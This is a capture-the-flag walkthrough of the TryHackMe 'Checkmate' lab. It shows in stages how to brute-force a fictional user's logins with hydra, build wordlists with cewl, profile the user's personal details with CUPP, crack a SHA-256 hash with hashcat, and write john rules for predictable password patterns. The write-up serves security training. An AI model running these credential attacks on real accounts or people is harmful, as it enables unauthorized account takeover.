> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/checkmate.md).

# Checkmate

{% embed url="<https://tryhackme.com/room/checkmate>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

Our objective is to conduct a password security assessment to identify weaknesses in Marco's authentication practices/ password requirements.

We are task to start by accessing the main application at \*\*<http://MACHINE\\_IP:5000**.&#x20>;

From there, we will be guided through each stage of the challenge, uncovering and exploiting weaknesses in Marco’s password usage.

## Level 1

We visit `http://checkmate.thm:5000/` and start with the first level at `http://firewall.thm:5001`.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/5x0ACc8MUmA2Kx2KvXrP" alt=""><figcaption></figcaption></figure>

We add the host to our /etc/hosts file and visit the page at `http://firewall.thm:5001`. We have a log in page infront of us.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://firewall.thm:5001/
```

{% endcode %}

<figure><img src="/files/TbinIuOuICfEQ4fCqdM0" alt=""><figcaption></figcaption></figure>

We catch an example request with Burp Suite to figure out the structure of the request. We see it is a simple http POST request with the parameters `username` and `password`. An invalid combination results into a page containing `Invalid credentials`.

<figure><img src="/files/mrqZ2863UMjBynrzzkYf" alt=""><figcaption></figcaption></figure>

Next, we run hydra to brute force the log in as the preset user `admin`. For the wordlist we chose `rockyou.txt`. After a short duration we have a hit.

{% code overflow="wrap" expandable="true" %}

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt checkmate.thm -s 5001 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
```

{% endcode %}

<figure><img src="/files/aGziIP3VySbpUBTBjEhF" alt=""><figcaption></figcaption></figure>

We use the credentials found to log in to the firewall portal and are successful. Nothing interesting here so far.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://firewall.thm:5001/
```

{% endcode %}

<figure><img src="/files/84a2dfNMWbtkApJyFqTp" alt=""><figcaption></figcaption></figure>

We head back to the main page and enter the password found. The password is correct and level 2 gets unlocked.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/OgmRmV0shVMBpWl37uxG" alt=""><figcaption></figcaption></figure>

## Level 2

We reach out to level 2. The next target is a job portal. We also. get a clue that common company keywords are used as a password.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/emJ9x6QBu5GpzD5lsFIN" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file and visit the page. We visit the jobs page and have a lot of company buzzwords infront of us we can use to craft a wordlist.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.thm:5002/
```

{% endcode %}

<figure><img src="/files/hoF19WpP5gM0YXU7e7WX" alt=""><figcaption></figcaption></figure>

At `http://jobs.thm:5002/login` we have the employee login. The preset username is `marco`.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.thm:5002/login
```

{% endcode %}

<figure><img src="/files/o8RpxpzSXLTGmnqPZIyq" alt=""><figcaption></figcaption></figure>

Again, we catch the request via Burp Suite to grasp the structure of the request.

<figure><img src="/files/27OJcogZwooHw8IbRx3e" alt=""><figcaption></figcaption></figure>

Our first attempt to gain access using `rockyou.txt` was unsuccessful. This time, we're going to try creating our own word list.&#x20;

We run cewl to crawl `http://jobs.thm:5002/` to a depth of 2, scraping words from the page content to build a custom wordlist saved as `cewl.txt`.

{% embed url="<https://github.com/digininja/CeWL>" %}

{% code overflow="wrap" expandable="true" %}

```
cewl --depth 2 --with-numbers --write cewl.txt http://jobs.thm:5002/
```

{% endcode %}

<figure><img src="/files/sG5Dvp0gqcaXjuOf5UEd" alt=""><figcaption></figcaption></figure>

Next, we run hydra to brute force the log in as the preset user `marco`. For the wordlist we chose `cewl.txt`. After a short duration we have a hit.

{% code overflow="wrap" expandable="true" %}

```
hydra -l marco -P ./cewl.txt jobs.thm -s 5002 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
```

{% endcode %}

<figure><img src="/files/rGSgtDEsVqlQw4dkzZMv" alt=""><figcaption></figcaption></figure>

We use the credentials found to log in to the portal and find some valuable information like personal details we can use later on to craft new wordlists.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.thm:5002/profile
```

{% endcode %}

<figure><img src="/files/ZkrfJS4B5zvaPCG0wwVy" alt=""><figcaption></figcaption></figure>

We head back to the main page and enter the password found. The password is correct and level 3 gets unlocked

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/NZeuIW41cPHQitsDPvHf" alt=""><figcaption></figcaption></figure>

## Level 3

Now we are tasked to visit the social site and retrieve the password. This time the password is dervied from marcos personal information. Luckily we harvested such information earlier at `http://jobs.thm:5002/profile`.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/5nmNfE9zYYcVobPKQeEM" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file and visit the page. We visit the social page. No username is preset this time, but we'll focus on the username `marco` for now.

{% code overflow="wrap" expandable="true" %}

```
http://social.thm:5003/
```

{% endcode %}

<figure><img src="/files/sUxsCNiFac2FvUBUGJwc" alt=""><figcaption></figcaption></figure>

We recall the information gathered at `http://jobs.thm:5002/profile`.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.thm:5002/profile
```

{% endcode %}

<figure><img src="/files/CMSWaXsn3bjmPZGvYLUw" alt=""><figcaption></figcaption></figure>

To generate a wordlist with the gathered information we leverage CUPP - a Common User Passwords Profiler. We run cupp in interactive mode and provide all the information gathered like depicted below.

{% embed url="<https://github.com/mebus/cupp>" %}

{% code overflow="wrap" expandable="true" %}

```
cupp -i
```

{% endcode %}

<figure><img src="/files/hPBXRECAHqHfMdLfabNF" alt=""><figcaption></figcaption></figure>

We catch a log in request via Burp Suite to grasp the structure for hydra.

<figure><img src="/files/2vFDwb84gKVi44eXrgQ7" alt=""><figcaption></figcaption></figure>

Next, we run hydra to brute force the log in as `marco`. For the wordlist we chose our crafted one with cupp `marco.txt`. After a short duration we have a hit.

{% code overflow="wrap" expandable="true" %}

```
hydra -l marco -P ./marco.txt social.thm -s 5003 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials"
```

{% endcode %}

<figure><img src="/files/N5rXJOAZ0pWQCLJ956j5" alt=""><figcaption></figcaption></figure>

We use the credentials found to log in to the social page. Here we see some questionable recommendations for a strong password from `marco`. So A company keyword, which is capitaliued and a year appended finished by an excalmation mark. How creative...

We make note of this information to generate a ruleset to craft a wordlist with the information provided.

{% code overflow="wrap" expandable="true" %}

```
http://social.thm:5003/
```

{% endcode %}

<figure><img src="/files/FdlTb7CogsYvNFbTI4mg" alt=""><figcaption></figcaption></figure>

We head back to the main page and enter the password found. The password is correct and level 4 gets unlocked

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/G5a6gxj6byqLW8heXBpe" alt=""><figcaption></figcaption></figure>

## Level 4

Level 4 is a file-related sidetrack. Here, we are required to reconstruct the filenames from the generated SHA-256 hash of the name.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/L21yfFMh2zQN8t0BnsPT" alt=""><figcaption></figcaption></figure>

We retrieve the profile picture and make note of the filename.

{% code overflow="wrap" expandable="true" %}

```
http://social.thm:5003/uploads/d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png
```

{% endcode %}

<figure><img src="/files/Li5FcprxCNCOy3gndVfg" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b
```

{% endcode %}

We try to crack it using hashcat with mode 1400 and are successful.

{% embed url="<https://hashcat.net/wiki/doku.php?id=example_hashes>" %}

<figure><img src="/files/GnTLMFNURZeDXuSxCFHV" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m1400 'd34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b' /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/GwhMBZom45FjHcR2rVWe" alt=""><figcaption></figcaption></figure>

We had back to the main page and provide the filename found and unlock level 5.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/n0VXhTKPq7cvrZ08OgTi" alt=""><figcaption></figcaption></figure>

## Level 5

This time we are tasked to attack the SSH service using a predictale ruleset based on keywords and formatting. This sounds familiar to the information we found on the social media page.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/uNXex6jajZ7pqkw7XMAD" alt=""><figcaption></figcaption></figure>

We recall the information.

{% code overflow="wrap" expandable="true" %}

```
http://social.thm:5003/
```

{% endcode %}

<figure><img src="/files/BqUoNiI3CxFbowUo9heY" alt=""><figcaption></figcaption></figure>

We re-use our keywords list gathered via cewl from level 2.

{% code overflow="wrap" expandable="true" %}

```
cewl --depth 2 --with-numbers --write cewl.txt http://jobs.thm:5002/
```

{% endcode %}

<figure><img src="/files/qhUHUdVENQgkg3zI12Du" alt=""><figcaption></figcaption></figure>

And add a rule to john. The location for exegol is the following.

{% code overflow="wrap" expandable="true" %}

```
/opt/tools/john/run/john.conf
```

{% endcode %}

We add the following rule called checkmate. I takes each word from the wordlist, capitalizes the first letter `c`, appends the literal string 20 followed by a year-pattern digit range matching 2010–2029 `Az"20[1-2][0-9]"`, and appends an exclamation mark `$!.`

{% code overflow="wrap" expandable="true" %}

```
[List.Rules:checkmate]
c Az"20[1-2][0-9]" $!
```

{% endcode %}

<figure><img src="/files/RZFM14DQA9GAXE4Suh17" alt=""><figcaption></figcaption></figure>

Next, we run john to generate a new wordlist based on the `cewl.txt` wordlist we retrieved ealier using cewl.

{% code overflow="wrap" expandable="true" %}

```
john --wordlist=cewl.txt --rules=checkmate --stdout > wordlist.txt
```

{% endcode %}

<figure><img src="/files/FbcjjLXem1fyhgAkQsAU" alt=""><figcaption></figcaption></figure>

We run hydra targeting the ssh service. But our wordlist is to big it takes to long.

{% code overflow="wrap" expandable="true" %}

```
hydra -l marco -P wordlist.txt checkmate.thm ssh
```

{% endcode %}

<figure><img src="/files/GYu0m4iHfyH6bbSy9nms" alt=""><figcaption></figcaption></figure>

We're adjusting our rule to limit ourselves to the 2020s, thereby cutting our word list in half.

{% code overflow="wrap" expandable="true" %}

```
/opt/tools/john/run/john.conf
```

{% endcode %}

<figure><img src="/files/j4aBLMjug3DMpGR08QLR" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
[List.Rules:checkmate]
c Az"202[0-9]" $!
```

{% endcode %}

<figure><img src="/files/k7kFHUfM3HVu6xzMSqQA" alt=""><figcaption></figcaption></figure>

We run hydra again with the new wordlist, after a short duration we have a hit.

{% code overflow="wrap" expandable="true" %}

```
hydra -l marco -P wordlist.txt checkmate.thm ssh
```

{% endcode %}

<figure><img src="/files/G4bpb3xCQAl3lfiUD5Mr" alt=""><figcaption></figcaption></figure>

We are able to log in as marco via SSH.

{% code overflow="wrap" expandable="true" %}

```
ssh marco@checkmate.thm
```

{% endcode %}

<figure><img src="/files/CRfWU8Qy2XWEWpjd1u0V" alt=""><figcaption></figcaption></figure>

We provide the password found to the main page and are finally done.

{% code overflow="wrap" expandable="true" %}

```
http://checkmate.thm:5000/
```

{% endcode %}

<figure><img src="/files/4SmX5o8S3XQqUH12nf8O" alt=""><figcaption></figcaption></figure>
